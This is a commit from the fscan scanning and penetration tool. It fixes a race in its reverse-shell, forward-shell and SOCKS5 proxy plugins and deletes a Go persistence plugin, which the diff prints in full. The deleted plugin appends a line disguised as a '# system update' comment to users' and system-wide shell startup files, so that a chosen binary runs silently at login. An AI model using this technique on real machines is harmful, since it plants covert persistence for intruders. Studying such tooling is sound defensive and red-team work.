fix: 修复长驻插件启动竞态，删除重复的 bashrc 插件

- 修复 forwardshell/reverseshell/socks5proxy 因竞态导致主进程提前退出
- 删除与 shellenv 功能重复的 bashrc 插件

plugins/local/bashrc.go

@@ -1,105 +0,0 @@
-//go:build (plugin_bashrc || !plugin_selective) && !windows && !no_local
-
-package local
-
-import (
-	"context"
-	"fmt"
-	"os"
-	"os/user"
-	"path/filepath"
-	"strings"
-
-	"github.com/shadow1ng/fscan/common"
-	"github.com/shadow1ng/fscan/common/i18n"
-	"github.com/shadow1ng/fscan/plugins"
-)
-
-type BashRCPlugin struct {
-	plugins.BasePlugin
-}
-
-func NewBashRCPlugin() *BashRCPlugin {
-	return &BashRCPlugin{BasePlugin: plugins.NewBasePlugin("bashrc")}
-}
-
-func (p *BashRCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
-	pePath := session.Config.PersistenceTargetFile
-	if pePath == "" {
-		return &plugins.Result{Success: false, Error: fmt.Errorf("未指定持久化文件，使用 -persistence-file 参数")}
-	}
-	if _, err := os.Stat(pePath); err != nil {
-		return &plugins.Result{Success: false, Error: fmt.Errorf("文件不存在: %s", pePath)}
-	}
-
-	absPath, _ := filepath.Abs(pePath)
-	payload := fmt.Sprintf("\n(nohup %s &>/dev/null &) # system update\n", absPath)
-
-	targets := []struct {
-		path string
-		desc string
-	}{
-		{filepath.Join(homeDir(), ".bashrc"), "~/.bashrc"},
-		{filepath.Join(homeDir(), ".profile"), "~/.profile"},
-	}
-
-	if os.Getuid() == 0 {
-		targets = append(targets,
-			struct{ path, desc string }{"/etc/profile", "/etc/profile"},
-			struct{ path, desc string }{"/etc/bash.bashrc", "/etc/bash.bashrc"},
-		)
-	}
-
-	var output strings.Builder
-	var successCount int
-
-	for _, t := range targets {
-		if _, err := os.Stat(t.path); err != nil {
-			continue
-		}
-		data, err := os.ReadFile(t.path)
-		if err != nil {
-			continue
-		}
-		if strings.Contains(string(data), absPath) {
-			output.WriteString(fmt.Sprintf("[跳过] %s: 已存在\n", t.desc))
-			continue
-		}
-		f, err := os.OpenFile(t.path, os.O_APPEND|os.O_WRONLY, 0644)
-		if err != nil {
-			output.WriteString(fmt.Sprintf("[失败] %s: %v\n", t.desc, err))
-			continue
-		}
-		_, err = f.WriteString(payload)
-		f.Close()
-		if err != nil {
-			output.WriteString(fmt.Sprintf("[失败] %s: %v\n", t.desc, err))
-			continue
-		}
-		output.WriteString(fmt.Sprintf("[成功] %s\n", t.desc))
-		successCount++
-	}
-
-	if successCount > 0 {
-		common.LogSuccess(i18n.Tr("bashrc_success", successCount))
-	}
-
-	return &plugins.Result{
-		Success: successCount > 0,
-		Type:    plugins.ResultTypeService,
-		Output:  output.String(),
-	}
-}
-
-func homeDir() string {
-	if u, err := user.Current(); err == nil {
-		return u.HomeDir
-	}
-	return os.Getenv("HOME")
-}
-
-func init() {
-	RegisterLocalPlugin("bashrc", func() Plugin {
-		return NewBashRCPlugin()
-	})
-}